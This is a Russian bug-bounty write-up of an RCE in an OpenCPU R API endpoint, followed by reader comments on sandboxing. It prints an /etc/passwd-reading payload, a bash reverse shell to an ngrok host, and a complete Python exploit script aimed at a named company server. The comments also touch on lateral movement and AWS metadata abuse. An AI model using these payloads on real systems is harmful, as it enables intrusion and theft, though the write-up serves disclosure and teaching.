За время моего пути в баг-баунти я сталкивался с различными интересными уязвимостями, но эта превзошла их все — уязвимость удаленного выполнения кода (RCE) в API-эндпоинте на языке R. Проэксплуатировав ее, мне удалось получить доступ к важным системным файлам и даже установить reverse shell на сервере. Эта статья написана для облегчения понимания процесса.
— — — -+ + — — — — — — — -+ + — — — — — — — — -+ + — — — — — — — +
| User | — → | Vulnerable API| — → | OpenCPU Server | — → | Server Response |
+ — — — -+ + — — — — — — — -+ + — — — — — — — — -+ + — — — — — — — +
Уязвимость
Во время тестирования приложения я обнаружил API, который позволял пользователям исполнять код на R:
https://statistics-api.example.com/ocpu/library/base/R/do.call/json
Идея этого эндпоинта казалась весьма простой: пользователи могли динамически запускать функции на R. Однако меня насторожило то, что он, похоже, не проверял и не ограничивал тип кода на R, который мог быть выполнен. Это создавало потенциальную возможность для эксплуатации.
После нескольких тестирований я создал полезную нагрузку, которая эксплуатировала данный эндпоинт для выполнения произвольных команд через функцию system() языка R.
Начальный этап: Тестирование доступа к файлам
Первое, что пришло мне в голову, — проверить, может ли API выполнять команды. Моя цель? Прочитать файл /etc/passwd, часто используемый для подтверждения несанкционированного доступа к файлам.
Вот нагрузка, которую я разработал:
reverse_shell_payload = f"function(x) {{ return(system(paste('cat /etc/passwd'), intern = TRUE)) }}"
Она использует функцию system языка R для выполнения команды cat /etc/passwd на сервере. Я обернул её в функцию R, чтобы она соответствовала ожидаемому формату ввода API.
Для проверки я написал Python-скрипт, отправляющий POST-запрос к API:
Когда я запустил скрипт, бам — сервер ответил содержимым файла /etc/passwd. Это подтвердило, что API уязвим к RCE!
Следующий этап: создание обратного шелла
Чтение файлов — это одно дело, но, чтобы показать полный масштаб данной уязвимости, я решил установить reverse shell. Что позволило бы мне удалённо управлять сервером.
Вот полезная нагрузка, которую я использовал:
reverse_shell_payload = f"function(x) {{ return(system(paste('bash -c \"bash -i >& /dev/tcp/0.tcp.in.ngrok.io/13018 0>&1\"'), intern = TRUE)) }}"
Эта команда использует bash для обратного соединения со мной. Я настроил прослушиватель с помощью ngrok, что упростило задачу по открытию локального порта в интернет.
Python-скрипт выглядит следующим образом:
import requests
import re
import ssl
# Disable SSL warnings
requests.packages.urllib3.disable_warnings()
# Define BaseURL
BaseURL = "https://statistics-api.sonova.com"
# Construct the full payload to establish a reverse shell connection
reverse_shell_payload = f"function(x) {{ return(system(paste('bash -c \"bash -i >& /dev/tcp/0.tcp.in.ngrok.io/13018 0>&1\"'), intern = TRUE)) }}" # please replace with your ngrok link
# Define the URL
url = f"{BaseURL}/ocpu/library/base/R/do.call/json"
# Define headers
headers = {
"Content-Type": "application/x-www-form-urlencoded",
}
# Define payload data
data = {
"what": reverse_shell_payload,
"args": "{}",
}
# Send the request
response = requests.post(url, headers=headers, data=data, verify=False)
# Check the response
if response.status_code == 201:
print("Reverse shell executed successfully.")
else:
print("Failed to execute reverse shell. Status code:", response.status_code)
После запуска скрипта я мог полностью контролировать сервер, свободно перемещаться по директориям и иметь доступ к различным файлам.
Заключение
Этот случай является хорошим примером: API, которые позволяют динамически выполнять код, могут быть крайне опасны, если они не защищены должным образом. Как охотники за уязвимостями, мы должны не только находить такие уязвимости, но и помогать организациям их исправить до того, как ими воспользуются злоумышленники. Надеюсь, эта история вдохновит вас на более глубокое исследование тестируемых API.
Комментарии (11)
indrej
29.12.2024 18:33Название статьи начинается "как я нашёл...". Так а какие методы используются для поиска подобного?
baldr
Ну, собственно, дальше можно и не читать, тем более что статья короткая. И верно - что там ещё можно написать?
API, позволяющий исполнять код - сразу дыра. Точнее - тоннель, как автор его и использовал.
Много лет назад на фрилансе заказчик попросил сделать сервис, где пользователи могли бы исполнять свои небольшие части Python-кода по обработке данных. Этакий ETL в облаке - тогда ещё было не так много таких сервисов..
Естественно, я попытался обрезать все возможные способы вылезти в систему - через ast/inspect валидировал код, позапрещал использование модулей типа os, sys и тп, вдобавок из builtins вырезал open, dir, setattr и всё потенциально нехорошее. Однако, был нужен, например, pandas - после нескольких попыток позапрещать функции и там, я сдался - обычным read_csv там можно было тоже, при желании, натворить дел. Были варианты собирать свой Python, который не разрешает доступ к ФС, но это уже слишком много работы для одного человека.
Зато сделал для себя вывод, что такие API совершенно небезопасны.
BugM
В итоге это решили запуская их в отдельных изолированных контейнерах. Проблема защиты переложена на контейнер. Все остальное не работает.
Kreastr
Контейнер не панацея, если пользователь ничем больше не ограничен. Вспоминаем про Spectre, Meltdown и компанию.
BugM
Патчи уже есть для них. Те кто продает такие штуки их поставили и снижение производительности учли в цене. То есть опять зиродей уязвимость нужна.
Зиродей с настолько сложной эксплуатацией и облачным окружением со случайными соседями ну такое себе. Там еще и крупных систем с по настоящему интересными данными нет. Они такое не используют для продакшена.
В целом сойдет. Не всегда и не для всех, но сойдет.
Веб песочницы позволяющие запускать ваш код просто прекрасны. Идеальный демонстратор разных штук. При этом никакой опасности. Пусть сосед прочитает мои данные из песочницы, там ничего нет.
baldr
А он не будет искать ваши данные. Оно просто войдёт в ботнет и будет ддосить других
BugM
Слово фаервол вам что-нибудь говорит? Сходить можно максимум к соседу в такую же песочницу или в базу где почты юзеров лежат.
Все еще так себе цель для зиродея.
baldr
Ну ок, за ваши сервера я спокоен - вы знаете слово "фаервол".
Тем не менее, первое, что можно проверить при получении доступа на любом сервере - доступ в интернет и к соседним хостам.
Возьмём, к примеру, AWS - у вас есть внутренняя сеть вида, например, 172.31.0.0/16 (дефолт). Снаружи доступ к серверам ограничен через Security Group, но внутри сети правила могут быть слабее. Даже если вы запускаете какой-то код внутри Docker-контейнера - это не помешает ему отправить запросы к соседним серверам и они будут идти внутри сети, как будто бы от имени этого сервера. Также можно попробовать, например, AWS Magic URL - если, например, на сервере установлена роль, разрешающая доступ, то там тоже можно интересным заняться.
Да, файрволл и ограничение сетевого доступа для контейнеров тут помогут, но все ли умеют правильно ими пользоваться? Все руткиты и нацелены на тех, кто что-нибудь забыл.
ZyXI
Контейнеры имеют тенденцию со временем становиться более безопасными и простыми в использовании. Тот же play.rust-lang.org просто запускает docker с
--net none
, здесь сложно что‐то забыть или неправильно настроить.baldr
Да, я сначала вообще решил что там на Javascript просто интерпретатор в браузере, но потом тоже посмотрел в гитхабе (не поверил вам на слово, простите).
Тем не менее, это получается вообще совсем песочная песочница - с сетью не поработать и пакетов никаких дополнительных не поставить. Только для Hello World подойдёт. Либо ставь для использования внутри компании, но тогда это не публичный апи.
ZyXI
Чтобы это не было тоннелем можно, как написали выше, использовать контейнеры. Как пример успешной реализации: https://play.rust-lang.org (https://github.com/rust-lang/rust-playground), можете поискать уязвимости и сообщить разработчикам, если найдёте. Использует docker.